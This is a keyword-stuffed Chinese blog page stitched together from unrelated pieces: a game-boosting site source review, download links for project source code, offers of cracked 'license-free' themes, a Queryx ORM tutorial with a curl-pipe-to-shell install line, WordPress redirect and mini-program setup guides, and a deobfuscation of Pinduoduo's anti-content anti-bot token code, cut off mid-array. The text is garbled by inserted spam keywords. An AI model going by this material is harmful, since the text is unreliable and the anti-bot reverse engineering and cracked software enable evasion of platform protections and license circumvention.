2023年7月

  纯情博客为您提供最新网络安全黑客博客信息资讯

  现如今,游戏代练已经成为许多玩家提升游戏等级和技能的选择之一。为了满足这一需求,涌现出了众多的游戏代练网站。本文将对比评测几个知名游戏代练网站的源码,为广大玩家提供选择参考。

  1.网站功能丰富

  好的游戏代练网站源码应该具备丰富的功能收费插件,为玩家提供全面的服务。比如,可以提供多种游戏代练选项、在线客服咨询、订单管理和支付等功能。通过对比不同网站的源码黑客博客,我们可以了解到它们在功能方面的差异。

  2.界面设计精美

  一个好看、易用的界面设计对于用户体验至关重要。通过对比不同网站的源码,我们可以看到它们在界面设计上是否注重细节、是否符合用户习惯。一个简洁明了、操作便捷的界面会给用户带来更好的体验。

  3.安全性能保障

  在选择游戏代练网站时,安全性是玩家最关心的问题之一。优秀的游戏代练网站源码应该具备强大的安全性能视频培训脚本,保护玩家的游戏账号和个人信息不受侵害。通过对比不同网站的源码,我们可以了解到它们在安全性方面的措施是否得当。

  4.代码质量与可扩展性

  优秀的游戏代练网站源码应该具备良好的代码质量和可扩展性,方便后期开发和维护。通过对比不同网站的源码培训脚本,我们可以了解到它们在代码编写规范、注释清晰度以及模块化程度等方面的差异。

  5.响应速度与稳定性

  一个好的游戏代练网站应该具备快速响应和稳定运行的特点。通过对比不同网站的源码黑客博客,我们可以了解到它们在服务器配置、代码优化、缓存策略等方面是否做足了功夫游戏代练网站源码,提升用户体验。

  6.用户评价与口碑

  用户评价是衡量一个游戏代练网站好坏的重要指标之一。通过查看用户对不同网站的评价和口碑,我们可以了解到它们在服务质量、售后支持等方面是否受到广大玩家认可。

  7.源码价格与授权问题

  在选择游戏代练网站源码时,价格和授权问题也是需要考虑的因素。通过对比不同网站的源码,我们可以了解到它们的价格水平以及是否存在免授权破解版等选择。

  8.技术支持与更新

  一个好的游戏代练网站源码应该有稳定的技术支持团队和及时的更新服务。通过对比不同网站的源码游戏代练网站源码网络培训脚本插件,我们可以了解到它们在技术支持和更新方面是否能够及时响应用户需求。

  总结起来游戏代练网站源码游戏代练网站源码wordpress主题,选择适合自己的游戏代练网站源码是一个需要仔细考虑和比较的过程。通过对比评测不同网站的源码收费插件,我们可以综合考虑各种因素,选择最符合自己需求的游戏代练网站源码。希望本文对广大玩家有所帮助。

  (此处嵌入信息:黑客博客网站源码 主题破解版 主题网站源码免授权破解)。

  纯情博客为您提供最新网络安全黑客博客信息资讯

  1、大型电商项目源码两套

  简介:用、、、redis、、solr、、mysql实现

  下载地址:链接密码:z9fe

  2、SSH实现的商城项目源码

  简介:使用、、、数据库是使用MySQL实现的

  下载地址: 链接: 密码: t2zy

  3、SSH实现的投票系统后台项目源码

  简介:采用了,,,,数据库采用MySQL,这个新增加了国际化网站 源码 下载typecho主题,即中英文切换。

  下载地址: 链接: 密码: twk9

  4、jsp+实现的CRM管理系统

  简介:没有使用任何框架,使用jsp和数据库。

  下载地址: 链接: 密码: 4c1c

  5. SSH+Mysql客户关系管理源码CRM项目源码

  简介:采用,,。 一个比较完整的网站建设系统收费插件,后台管理、布局、权限控制都做得很好。

  下载地址: 链接: 密码: yw3v

  6.SSH++Mysql实现的CRM源码

  网站 源码 下载

  简介:采用,,。 一个比较完整的网站建设系统网站 源码 下载网站 源码 下载,后台管理、布局、权限控制都做得很好。

  下载地址: 链接: 密码:lzh4

  7、SSM+Shiro+redis实现的权限系统项目源码

  简介:数据库采用MySQLtypecho插件,权限处理采用Shiro框架培训脚本视频培训脚本wordpress插件,集成Redis。 学习和练习Redis和Shiro应该是一个不错的选择。 运行前需安装Redis环境。

  下载地址: 链接: 密码: tiyg

  8.语音识别功能项目源码

  简介: 适合学习。 这不是一个Web项目chatgpt plus,但是比较新颖。 运行后出现控制台界面黑客博客,语音识别转换为文本。

  下载地址:链接: 密码:3bun

  9、SSM+Mysql实现的博客项目My-blog源码

  简介:适合学习的博客源码由、、、mysql实现。

  下载地址: 链接: 密码: h2ol

  10、SSM实施的CMS建站系统项目源码

  简介:利用、、、mysql实现的适合学习的内容管理系统。

  下载地址:链接: 密码:q55b

  下载资源只需将本文转发至朋友圈或将技术交流群截图发送至QQ群管理员即可。 扫描以下二维码加入资源共享QQ群。 若人员满员网站 源码 下载,请在公众号回复“作者”获取资源,更多信息请进入微信公众号工具栏:工作-->资源下载

一键安装:

curl -sf https://raw.githubusercontent.com/swiftcarrot/queryx/main/install.sh  | sh

schema.hcl

Queryx 使用 schema.hcl 来描述数据库,在以下例子中定义了数据库环境以及数据库模型。

database "db" {
  adapter = "postgresql"

  config "development" {
    url = "postgres://postgres:postgres@localhost:5432/blog_development?sslmode=disable"
  }

  config "production" {
    url = env("DATABASE_URL")
  }

  generator "client-golang" {}

  model "Post" {
    column "title" {
      type = string
    }
    column "content" {
      type = text
    }
  }
}

运行 queryx db:create 命令创建 postgres 数据库,然后运行 queryx db:migrate,就可以自动创建对应的 migration 文件和数据库结构。

CRUD

运行 queryx g 在 db 目录下会生成对应的 ORM 代码, 生成的代码根据数据库生成对应的 Go 类型。生成的代码除了 driver 之外没有其他第三方依赖,我们也希望自动生成的代码简洁可读。

下面是一些 CRUD 操作的示例代码:

// 创建
newPost := c.ChangePost().SetTitle("post title")
post, err := c.QueryPost().Create(newPost)

// 查询
post, err := c.QueryPost().Find(1)
posts, err := c.QueryPost().Where(c.PostTitle.EQ("post title")).All()

// 更新
updatePost := c.ChangePost().SetTitle("new post title")
err := post.Update(updatePost)
updated, err := c.QueryPost().Where(c.PostTitle.EQ("post title")).UpdateAll(updatePost)

// 删除
err := post.Delete()
deleted, err := c.QueryPost().Where(c.PostTitle.EQ("post title")).DeleteAll()

关系

在 schema.hcl 也可以声明各个 model 之间的关系,包括 belongs_to, has_one, has_many,例如:

model "User" {
  belongs_to "group" {}

  column "name" {
    type = string
  }
}

model "Group" {
  has_many "users" {}

  column "name" {
    type = string
  }
}

声明关系之后,你可以使用生成的 preload方法来避免 n+1 查询,比如:

users, err := c.QueryUser().PreloadGroup().All()
// users[0].Groups

groups, err := c.QueryGroup().PreloadUsers().All()
// groups[0].User

如果你熟悉 Rails ,就会发现 Queryx 参考了很多 ActiveRecord 的设计,我们希望能够复制 ActiveRecord 的开发体验。更多操作请参阅 README 文档,并欢迎在 issue, discussion 以及回复中交流。Queryx 目前仍处于测试阶段,许多功能仍在开发中,比如 TypeScript 的版本。我们希望在后续版本中继续提升开发体验。

地址: https://github.com/swiftcarrot/queryx

  纯情博客为您提供最新网络安全黑客博客信息资讯

  亲身体验:换域名全站301重定向,告别旧域名的烦恼!

  换域名是网站运营中常见的需求之一培训脚本typecho主题,但是换域名后如何保持搜索引擎排名、避免链接404错误等问题却令人头疼。在我亲身经历中,采用全站301重定向是一种简单而有效的解决方案。下面我将分享我的经验wordpress 换域名 全站301重定向,并提供七个步骤来帮助你顺利完成换域名全站301重定向。

  第一步:备份网站数据

  在进行任何操作之前,务必备份你的网站数据。这是防止万一出现问题时能够快速恢复的关键步骤。

  第二步:修改新域名DNS解析

  将新域名解析到你的服务器IP地址。这样才能确保新域名能够正确访问你的网站。

  wordpress 换域名 全站301重定向

  第三步:修改设置

  进入后台wordpress 换域名 全站301重定向黑客纯情黑客纯情,在“设置”-“常规”中修改“地址(URL)”和“网站地址(URL)”为新域名。保存设置后,确保你能够正常访问新域名的网站。

  第四步:安装并配置301重定向插件

  wordpress 换域名 全站301重定向

  在插件市场中搜索并安装一个可靠的301重定向插件。我推荐使用""插件。安装完成后,进入插件设置页面脚本源码,添加旧域名到新域名的301重定向规则。

  第五步:测试重定向

  在浏览器中输入旧域名的链接,确认是否自动跳转到新域名。如果重定向成功,你将看到网页正常加载,并且URL已经变为新域名。

  第六步:更新站点内部链接

  使用数据库搜索替换工具(如)将网站内部的旧域名链接更新为新域名。这样做可以确保所有页面内部链接都指向新域名wordpress 换域名 全站301重定向,避免出现404错误。

  第七步:提交新域名到搜索引擎

  将新域名提交给搜索引擎,帮助它们尽快发现并索引你的网站。同时培训脚本,更新你的站点地图(.xml),以便搜索引擎能够更好地了解你的网站结构。

  通过以上七个步骤,你就可以成功完成换域名全站301重定向。在我的亲身体验中,这种方法非常可靠wordpress 换域名 全站301重定向,并且能够帮助你顺利切换到新域名而不影响搜索引擎排名和用户访问体验。

  总结一下黑客纯情typecho主题,在进行换域名全站301重定向时,备份网站数据、修改新域名DNS解析、修改设置、安装并配置301重定向插件、测试重定向、更新站点内部链接以及提交新域名到搜索引擎是关键步骤。希望我的经验能够对你有所帮助,让你在换域名的过程中更加顺利。

  纯情博客为您提供最新网络安全黑客博客信息资讯

  第五步:制作小程序域名站长工具网站源码收费插件收费插件,需要部署ssl

  第六步:下载微信开发者工具

  准备好以上工作后,教程正式开始

  第 1 步:构建

  下载源码站长工具网站源码chatgpt plus,上传到您的服务器进行安装

  这里我用宝塔面板来演示

  上传完成后培训脚本,解压完成后站长工具网站源码,将里面的文件拉取到网站根目录如上图

  那么此时我们访问域名

  教程见下图

  上传完成后,访问域名黑客博客网站源码,然后阅读教程图片操作

  这里特别提醒一下

  后台地址为域名/wp-admin

  好的,登录后就是这样

  搭建教程完成后,下面的教程很简单,但是也很重要

  壁纸小程序:管理插件上传

  此时可以看到wp插件被压缩成zip格式的压缩包

  教程继续网站源码,进入网站根目录站长工具网站源码,找到文件wp-/

  上传黑金壁纸wp插件的文件并解压

  以上操作完成后——打开后台——插件——插件安装

  然后点击设置

  然后填写小程序APPID和秘钥

  此时进入微信公众平台-登录小程序-添加合法域名

  本期主要讲搭建教程,下一期讲基本设置

  下面开始前端配置教程

  前端导入:

  打开微信开发者工具(无需下载)并导入前端文件

  找到utils/.js文件,修改域名即可

  来来来,教程就搭建好了!没有详细的地方可以在下面留言。 至于后面的设置教程收费插件,下一期会放出,肯定有人会想这样上传图片会不会占用很大的空间。 这个不用担心,您可以将图片存储在七牛云中。 具体教程将在下一期更新。 再见

某多多的ant-content核心算法解密版本,耗时4天3夜,并非网上直接把代码扣下来的。完全解密版本

解密方法和代码

代码是用ast来解密的。利用babel处理,解密一部分+手动修复代码。
AST相关的教程和文档

https://steakenthusiast.github.io/
https://evilrecluse.top/Babel-traverse-api-doc/
https://astexplorer.net/

以下代码不适用于所有加密

const fs = require("fs");
const { parse } = require("@babel/parser");
const traverse = require("@babel/traverse").default;
const generator = require("@babel/generator").default;
const t = require("@babel/types");
const beautify = require("js-beautify");


const jscode = fs.readFileSync("./pdd_ant2.js").toString("utf-8")

let ast = parse(jscode);

function node_eq(node, node2) {
    if (node2.type == "VariableDeclarator") {
        node2 = node2.init;
    }
    return node.start == node2.start && node.end == node2.end;
}

function var_get_referencePaths(nodePath) {
    const context = nodePath.parentPath.get("left").context;
    const bindings = context.scope.bindings[nodePath.parent.left.name];
    return bindings.referencePaths;
}
function get_scope_binding(path) {
    if (["callee", "MemberExpression"].includes(path.key) || path.get("object").node) {
        return path.scope.getBinding(path.get("object").node.name)
    } else if (path.node.name) {
        return path.scope.getBinding(path.node.name)
    } else if (path.get("id").node) {
        return path.scope.getBinding(path.get("id").node.name)
    } else {
        console.log("没有binding")
    }
}


//查找当前变量所有使用的地方
function relyon_var(referencePaths, codes = new Map()) {
    //作用域
    for (let i = 0; i < referencePaths.length; i++) {
        //使用的path
        const nodePath = referencePaths[i];
        //在当前方法内直接返回不管
        // if (node_eq(nodePath.node, node)) {
        //     continue;
        // }
        //说明是一个赋值操作 var n=u;
        if (["right"].includes(nodePath.key)) {
            //抽离关于n的代码
            const varScope = var_get_referencePaths(nodePath);
            relyon_var(varScope);
            // const id2 = nodePath.node.start + "_" + nodePath.node.end;
            // codes.set(id2, nodePath)
            // //查找当前nodepath使用的引用
            // const context = nodePath.parentPath.get("left").context;
            // const bindings = context.scope.bindings[nodePath.parent.left.name];
            // const referencePaths = bindings.referencePaths;
            // //引用
            // for (let index = 0; index < array.length; index++) {
            //     const element = array[index];

            // }
            // console.log(binds.referencePaths)
        }
    }
}


function encode1(arg1, arg2) {
    var u = ["fSohrCk0cG==", "W4FdMmotWRve", "W7bJWQ1CW6C=", "W5K6bCooW6i=", "dSkjW7tdRSoB", "jtxcUfRcRq==", "ALj2WQRdQG==", "W5BdSSkqWOKH", "lK07WPDy", "f8oSW6VcNrq=", "eSowCSkoaa==", "d8oGW7BcPIO=", "m0FcRCkEtq==", "qv3cOuJdVq==", "iMG5W5BcVa==", "W73dVCo6WPD2", "W6VdKmkOWO8w", "zueIB8oz", "CmkhWP0nW5W=", "W7ldLmkSWOfh", "W5FdIqdcJSkO", "aCkBpmoPyG==", "l27dICkgWRK=", "s05AWR7cTa==", "bttcNhdcUW==", "gJldK8kHFW==", "W5Sso8oXW4i=", "FgC0W7hcNmoqwa==", "xmkPhdDl", "e14kWRzQ", "BNFcVxpdPq==", "z1vadK0=", "W7yOiCk2WQ0=", "qLb7lg0=", "t8o6BwhcOq==", "gmk6lYD9WPdcHSoQqG==", "oqldGmkiCq==", "rmo+uKlcSW==", "dSoIWOVdQ8kC", "iXSUsNu=", "W5ipW4S7WRS=", "WPtcTvOCtG==", "A3CcAmoS", "lCotW6lcMba=", "iuGzWPLz", "WQVdPmoKeSkR", "W4ydoCkqWQ4=", "jCobW47cNXC=", "W4tdJCkNWOCJ", "hCo/W7ZcSJ8=", "BNuZW6NcMG==", "b8kFW6hdN8oN", "W4SpoCkXWQK=", "cXddOmkDFa==", "W63dHSoyWQft", "W6ldSmk0WRj4", "A2bHWOtcHeeMyq==", "f3VcSSk/xG==", "qg1u", "ftyivga=", "DCkhpsfe", "WR3cKmo3oMWEw8kK", "yev3", "W4xdMKSejbm=", "W797WOL7W4m=", "W6xdOCkKWQXw", "gcCUye0=", "W7WXkmomb8kT", "c8kIesD0", "WOTpEW==", "ySo3E8oVWPy=", "iNyhW5lcNLNcG8kYWQu=", "W7JdMSkfWRnD", "FfijW5tcHW==", "xCokW54Zzq==", "W77dUsi=", "W5FdHfa6eq==", "E1FcQvVdSG==", "eZ/dNCo4AG==", "CgPmWQZdKa==", "A8oLECoJWPS=", "oCoSW7VcTJC=", "mCoADa==", "W7DXuSouDq==", "ic3dQCo8ua==", "rN3cIa==", "W6/dJ8kPWRGQ", "W4xdLYlcPmkc", "F3JcPvZdLa==", "xCk8iHn4", "qg15", "W5/dL8oOWPr4", "hW41C3C=", "sSoZzwxcPW==", "ywdcUvNdUW==", "t0TzWQpdIG==", "lv7dJSoIjq==", "W5Tzxq==", "W6DnWQK=", "W5mGaCkFWRC=", "W6LmWO5+W6C=", "WR7dQmoJa8k+", "emkFW4ddOmob", "imk8imoNEa==", "W4ZdP8kaWPvc", "F8k4WO40W4e=", "cSoHE8k9cG==", "jw4TW5dcSW==", "wuJcOKRdTa==", "swNcQx/dGG==", "aCkSiCoMEq==", "W6pdS8owWQTH", "WRFdQmonjmkT", "cKBdGCkpWOm=", "oCoWW4VcPIa=", "WQddSSoUjmks", "c8kdW5JdM8oE", "W7b0AGvl", "sCk4WOylW60=", "nXNdSmkXvW==", "W67dRSkjWOqj", "W44EcCohW6O=", "W6ddPmkpWRHN", "W7tdVIVcOSkR", "qg3dVG==", "W7Ofcmofda==", "WRDmW5VcLq==", "CSoRW4W4Aq==", "mmo0WP3dVmkj", "i8omW6ZcPd8=", "CSkaWQyvW4m=", "ACkMWQCLW4q=", "W5pdOCk0WRv3", "W7yDW44SWP8=", "WRP8W5dcNmkd", "ymkNaID5", "cfeTWRT6", "W6WdbmkmWO0=", "eSo3WQldVCkU", "W5flwZrl", "WPVcTe4tWQu=", "DuCPumok", "hLpcKCksqXe=", "g3hdUCkoWRu=", "sL0sW6JcPW==", "lf7dL8oOpG==", "w8k4WPWJW7u=", "i08mW5dcUW==", "kb/dU8klsW==", "WOhcMSoW", "W5LnfG==", "F8kJWQmxW6m=", "W5ldU0CDca==", "eKRdKmkoWPG=", "tmouW60=", "gSkrW7JdVSor", "WPNcP8oc", "DhLAmLW=", "sSo0EfdcQq==", "W6ygW689WQq=", "W6CPimkIWQa=", "WRJdLmoynSkY", "W5iimCkDWRa=", "oMhdN8kPWRHV", "eNqQWQHn", "bmkakSoHW4u=", "W4PxEbvN", "WQhcQxSWyW==", "xCoKEW==", "guBcISk2yG==", "nviRW4BcSq==", "m3tcVmkXCJ9YWQyXd8kuWQfJW71fWPmnWRj+WR1tW6WbW4PDdCkrkLbDs8ozWR4gySoyv20rWO3dJJpdIh9DWPhcGCoctKFcN8kTW6nHvbLRkg9MeKhdHCoP", "W7iZfmolW4q=", "p1JdGSk4WPW=", "ns3cTuhcMSk6u8kj", "q8kmhr5p", "lWCxtKW=", "pmk+hSoYFG==", "bdFdKmkIwa==", "WR/cMSoL", "csCy", "W7BdKCkmWPfO", "tCkeWPyXW70=", "smkVWRK=", "dNFdQSokiq==", "W5OyoCoLW5O=", "W4RcIZ0xW5hdPCkaWPddO0aoE8oCwXVcSgbVtWbqW6u=", "iKNdK8khWRa=", "WQtdQCommSkg", "W6ddU8k1WQ94", "ASoXAMRcHG==", "gMhdKCoBna==", "eCk5mSoEW6K2v8octbK=", "pmo+Fmkfea==", "f3y8WPL0Ex4=", "oSkmm8oczq==", "W7ldK8oWWRnrW6WtqMG0W7/cMxbU", "W7uwdmofbG==", "A8oqyudcPG==", "s8oHt3FcTq==", "a8okBCkAdq==", "W7mvg3OI", "E8kLWR0dW7i=", "W78qhKSF", "W6XMWRHsW6K=", "hCoyzSk7fa==", "WQNcKSoHp1S=", "oCkaiCocW6i=", "bSoEW5ZcVXq=", "W5pdVCkHWRj3", "eehdNSoGhG==", "W4VdTmkhWRO=", "W73dMte=", "bqBcJelcTG==", "WOpcKLXWBa==", "W7uRa0OKnwpdRmoq", "WO3cKSoHW7C4", "WPRcOCofl0i=", "BxvOWPhcSa==", "hwK0W7tcJq==", "BMOjW5lcGq==", "cmouWONdUmk8", "E8k9WQyjW7NdNa==", "WRNcQSoFi0S=", "zLTHWPpcUW==", "WRPjW7BcLCkB", "BLRcLMddLW==", "s8kzWOiiW5m=", "W40mW4uqWP8=", "i13cMCk7Ea==", "WQBcLMupWOu=", "x8o2xmoD", "hCkBcCoLvW==", "FmkEWRShW5q=", "W58ikmo+W7K=", "W4KehmkSWOG=", "WQZcLCod", "WQtcHgXHCa==", "W4ldRbpcSmkY", "r8oKW5ukr0e+gW==", "dSkjW4FdLCoY", "cGa6Ee4=", "W69pymoVuW==", "WQRcSCo7i0i=", "W5RdICoWWQPaW70ode4=", "cfiNWODs", "W7rzWPr/W4u=", "ySkuecz+", "W4qsW70WWOq=", "W5VdS8kmWPXz", "W44jW7W=", "pxRcGW==", "ye5hngpdUa==", "WRRcQfT0va==", "WQxcImouW7CY", "qLRcJKddTa==", "p8o6q8kUdW==", "W4nlWRLvW6W=", "p3hdQ8kzWOe=", "W4eFeCojW5W=", "W43dNCoMWRG=", "nNCqW7lcQW==", "FCoqw3dcUq==", "W4BdGSkKWQ8+", "rmo8q1/cKW==", "D0assmov", "f0eQWODU", "nJXVfCo5W6VcVIniWPKKcCkpWO0fW63dNI4fWPziiSkWEmowWO12AKqNWQvPyCkMmb8aCConW7ddQCkmxs3cG3xdJuuMW7FdJCoqWQndsmk9WQzzW5mgWP/cUHmx", "pCoRymkabCoqta==", "i2xdImk+", "owFdVSkkWOm=", "WPNcK1H+Ca==", "W4FdKJxcICkP", "W4hdNSkuWO4=", "W7Gol8oAW6O=", "W61RWRrOW4y=", "W7qAn8ksWQK=", "WPVcRvWNWOG=", "xmoyrwFcQW==", "WOz7W4hcRSkB", "l1yQW5RcSW==", "zvJcQvZdNa==", "W4hdPSobWPvy", "nWldKCoIvG==", "CeTyh3K=", "pa/cVexcLG==", "cmk0W6JdUSoK", "AwSxW5ZcHq==", "jIpcKfdcOW==", "W5r5WQXpW74=", "n8k1mmoHW4G=", "xe4JW7FcMW==", "hmolw8kViW==", "gfutW6hcSG==", "hflcVSkzrW==", "jZpcRN/cRq==", "W7tdV8kF", "ig0UW7VcLW==", "b03dGCkBWP0=", "nYFcPW==", "W4ueW6StWP0=", "W4BdN8ogWR9D", "qe89qCo3", "W68dgmkSWR4=", "Ae0FsmoD", "pSoVECkojG==", "W6aplSoBfG==", "mq/dR8omya==", "amkMiCojW40=", "xN5GWPVcJa==", "W67dJmk4WQji", "fxRcVCk7yG==", "fSkLoSoLW7a=", "a8oCWPJdP8kt", "e8o0WRxdI8kv", "ChO3W6NcMa==", "awVdPmkGWO0=", "nCk0W6pdMCod", "W4xdP8kOWO5J", "lSowxSk0fW==", "js/cPwVcTW==", "WOJdRmo9amkt", "nsRcULdcUmkH", "gCkIW4FdLmoF", "DmovW7erzG==", "cSoFD8kfeq==", "WRVcH8ouW7aC", "WPvCW6xcKSkr", "W4qRW4arWQW=", "WPpcPgjfFW=="];
    var n = u;
    var e = 280;
    (function (t) {
        for (; --t;)
            n.push(n.shift())
    })(++e);
    var c = function t(n, r) {
        var e = u[n -= 0];
        void 0 === t.dkfVxK && (t.jRRxCS = function (t, n) {
            for (var r = [], e = 0, o = void 0, a = "", i = "", u = 0, c = (t = function (t) {
                for (var n, r, e = String(t).replace(/=+$/, ""), o = "", a = 0, i = 0; r = e.charAt(i++); ~r && (n = a % 4 ? 64 * n + r : r,
                    a++ % 4) ? o += String.fromCharCode(255 & n >> (-2 * a & 6)) : 0)
                    r = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=".indexOf(r);
                return o
            }(t)).length; u < c; u++)
                i += "%" + ("00" + t.charCodeAt(u).toString(16)).slice(-2);
            t = decodeURIComponent(i);
            var W = void 0;
            for (W = 0; W < 256; W++)
                r[W] = W;
            for (W = 0; W < 256; W++)
                e = (e + r[W] + n.charCodeAt(W % n.length)) % 256,
                    o = r[W],
                    r[W] = r[e],
                    r[e] = o;
            W = 0,
                e = 0;
            for (var d = 0; d < t.length; d++)
                e = (e + r[W = (W + 1) % 256]) % 256,
                    o = r[W],
                    r[W] = r[e],
                    r[e] = o,
                    a += String.fromCharCode(t.charCodeAt(d) ^ r[(r[W] + r[e]) % 256]);
            return a
        }
            ,
            t.vDRBih = {},
            t.dkfVxK = !0);
        var o = t.vDRBih[n];
        return void 0 === o ? (void 0 === t.EOELbZ && (t.EOELbZ = !0),
            e = t.jRRxCS(e, r),
            t.vDRBih[n] = e) : e = o,
            e
    }
    return c(arg1, arg2)
}
function encode2(arg1, arg2) {
    var c = ["kmkRjCkHyG==", "tSkzhCooda==", "W5HyfwldN8oaq8kZWRj+fCkwCColW6pdVG==", "oNjak8o1", "W7ijFCk/zq==", "WQeJn8kMW54=", "W5TZqxn7W4NcJSo1WR4=", "WQfrW7JcOSocW5vs", "W74jevDO", "WO3dQSkcgJu=", "hKrxomoO", "jhBcNIrJ", "Emo/W53dGq==", "rMaLc3i=", "hmkKWPXWWQddJmkmWQC3", "W75cASo9WRKndmkl", "vConW4uZjq==", "gmkOnSkozG==", "EmkgWP/cMCkJWOib", "W6uKbffk", "wCkyWRhcR8km", "nNFcRYC=", "rv0Qd0C3FNlcGSk+WQy=", "WQdcObtdVSoVg8oHWPddNW==", "W4yRqSkPqq==", "WPGeb8kHW50=", "mcdcOmomW5xdLGBdQ2lcVeJdMmkWhmkD", "eSkQnSkz", "WPquomo0sq==", "wtVcRmkpW6m=", "A8klWPxcL8kd", "WP1qWP95WO0=", "WRNdQ2zLW7K=", "W4CcWOjBWRHvCG==", "WR1iW63cOCoBW5LnW7zVxh9r", "wLpdO8kqW4JcG8oG", "rCoGW7pdJmoW", "f8kHmCkkEuq=", "cmoJdmoUW7q=", "W5XDW6q=", "WQpdRKvKW7TRW6eYW7e=", "WPFdK8k9cdNcQKeSsa==", "WRLKW7/cHmoL", "w1mHpNi=", "DhyQhuq=", "W53dIrP1qa==", "W44Zz8k/", "W6BdPszHCG==", "WQz3W4/cPCoV", "CSkOWQngECkPWRNcPmkCW6ZcGCk3W6y=", "W5v+wmokWR8=", "xNqggwy=", "qCorzgxdQCoeW5ZcM1W=", "jmkYWObWWQe=", "jCovWQq0W5pcVa==", "tCoyW6pdKv0=", "xv4N", "nHO9WOyQW6G=", "aCk1WP1aWPC=", "W4uVjffacG==", "wSoGW5BdGMa=", "rCkShCoJ", "W5nMr8ojWQ4=", "uSk8WOFcQSkK", "W4TaW7ldUcW1l8kMWQZcL8ouW5S=", "WQ7cQe/dMCoWtbb5qSk3zeKbW5JcS8kL", "W6ldGZvkvSk3fx7cJG==", "lLb2lCoroGG=", "W7CJWOvkWOy=", "lfxcNSkJ", "s8k6WOhcU8kC", "W6VcKmo2hry=", "ymozW7q7Aa==", "CIX7rdK=", "W44RqCk5W5C=", "W558rN1t", "lHBcOmorW50=", "q8oZW5Kf", "BaNcUSkzW6v9AcRdKdWe", "W4HrW6xdGYK0hSkAWQG=", "D1WrcfK=", "W5VdRIrhWQtdG2K=", "W618C3XL", "W5eRjv1xpmoVWQ3dMq==", "mwtdISoNW6XgoCoVsa==", "W71Yx1PY", "W7uLv8k4W5q=", "W71QFurt", "WORcH3JdUmoj", "WRldO3r8W7u=", "pf3cJbfW", "FCodW5xdT1W=", "FmoFy2VdLq==", "WRJdRfLVW7TIW7aRW6qdW5O=", "WQG/nG==", "yCoJW5VdGCohW5qDA8oW", "bCoGWQCSwG==", "CCoWW7pdPsKhW4ZdG1ZcP8kjuvrd", "W5VdSd5uWQldMwpdV8oM", "emoNgmoiW5m=", "amkKWPf8WPS=", "W6OWzSkNEW==", "WRKTmmkYW50=", "W7SmwSkqW6q=", "F8oFzMhdQCod", "j1xcTmkGgq==", "W6RdNZzBsW==", "W4SVp3vao8o+WRZdGW==", "W4C3W7JcMdK=", "D8oMW6S7qa==", "y8olDgxdQCo9W5ZcHvRcRa==", "W4qEke5i", "gCkRWPTJ", "WOOogmk7W4NdIG==", "WRJdICkUhtNcVa==", "ySoFDMNdVmolW4hcHa==", "WP7cGfZdMCoe", "wvuPdLGMwMNcLW==", "W5vnp1tdSW==", "bLzAeCoK", "WRFdK8k9cdNcIKeSsmkjWP3dIWhdNmoNx8oeWQW=", "WRuKdSkmW4O=", "xSkHWQxcMmkc", "BqZdSmopW64=", "W7uoACk+W7jbW6ijWPu=", "mxFdHSo4W40=", "W5ailLzq", "d2ZcR8kalG==", "W7ddRtnkWQJdJM7cR8oqALldNcxdSb8xlmoTW5efDCkdW68kW7NcVgtdKmkhrGWTWPq=", "fmk1WRfvWQ8=", "nJOjWQqu", "DqpcT8kY", "WQrbWP1hWOu=", "W7hdPGTsWOa=", "xv0Nagu=", "WO7dK8k9gdtcVvO6vmk4", "evxdV8ocW48=", "bmoWWPabW7W=", "W7LaW77dJsT4gSkuWQ3cMG==", "W5vxW4hdJY4=", "u8oQW483hG==", "W7a5nw1s", "W51AhNFdHmorACkMWQu=", "cmkXpCkEEv7dLSo6pq==", "WQBcVHZdSSo9", "WOSueSk/W43dIG==", "qCosW67dPmoK", "W5GwWPrJWRrwCfHj", "W7/dNIvTwSk+h1RcLfGvCq==", "W4RdNJjwqq==", "sui0oM8=", "y8kkWQriCq==", "W7z2W43dJXe=", "vcFdHSo6W5S=", "dLbMkmotkYiCg8o8yCojW61FWQhcKYC1WPJcMSoxBq==", "jmotWRa+W43cOSkJaW==", "W5uTnvzjoConWQFdMW==", "WPiGkmozzCodDmoRva==", "AGddJmoPW4S=", "W4qqASk2ta==", "FxSNcgO=", "B8osAwxdTCoEW60=", "WRzjW7tcJ8oBW45kW6H6swrkW7m=", "WQlcQvJdR8oNtHTDB8k9Fa==", "WPO0oCkRW6u=", "lvRcMCkZf29ZW5O2WQBcUq==", "W5qUW7tcKdRcGmkCs8oZ", "WOSXgCkVW4u=", "W4SHmKPaomo2WR7dJG==", "FGZcVCkT", "qh0VkKqwmxRcIW==", "bmo7WPu+W44=", "W69sogldKq==", "WPSGjmo0", "awJcJSk8pG==", "zmkhpmoojG==", "W53dOqnCqG==", "xG7cQCkIW4C=", "x8k5WO/cL8ki", "umohW6hdHSo9", "W6VcK8o2", "etWLWQGJ", "W5/dRsrdWQxdNM7dRSoXFW==", "nxdcTdv1", "W5eHW7pcNHi=", "xIJcTSkqW4K=", "WQxcRXpdSmoh", "BqxcImkbW6q=", "WQmGj8kWW5tdOgeFWR5gW5BdNa==", "WQFdQfvVW6vUW4m4W7m=", "hmkOlCkSra==", "s8kHAcSz", "iSo1WOeABmoLW705", "WQBcRqldVSoSha==", "xCo6W7BdG8oT", "DCklWPJcK8ksWPu3W47dKCklW4DWW4Ty", "vh0TifW=", "CXJcQSkJW6jgAdhdQd0u", "jrmSWOij", "WO7cRw3dPCod", "WQf1W6RcOmoh", "WQVcHwhdTmoC", "gmkOoSkmF2/dNSo3mHO=", "WPOrgSkXW5W=", "W5qbWO1gWR1VFKHvfG==", "rCo9W5KBzSkoWR3cOvuGW4CUW5TCgq==", "v8oRW5ZdN8oh", "fCoKWOCFBSo0W5CIW5NcI8kI", "W6RcT8owpqK=", "p8oyWR8V", "W4DBbhNdMq==", "q8kLWPbMBG==", "beZcTdzw", "b2KYtea=", "uSktWQ/cNCkz", "tmkKWQBcLSk+", "nSojiSoFW6BcSsa+W4C=", "W7SMzCkOW68=", "BmocW4K9CG==", "m3SYrMi=", "i3/dI8o3", "WQxcVb/dR8oMbSo2WOxdNG==", "z8oEW6elkG==", "W47dSsDcWRu=", "W5TUggZdNG==", "pe4VsW==", "lLP9amofoGide8oTzSosW6jOWQFcKJ0cWOhcK8ovFmkK", "W4qNFSk8W4eV", "kcVcOmoxW53dLXC=", "W5aAWOvB", "WObbWRjYWRm=", "qCkmWOXaAa==", "WRRdOL5L", "seOHbv8=", "mCozWQu=", "WQvoW4KqW4u=", "WP8ieSkRW7q=", "W55yhwRdNW==", "zKeYega=", "w2xdOmksW4a=", "W5WzWOvB", "W7OBrmk6W7O=", 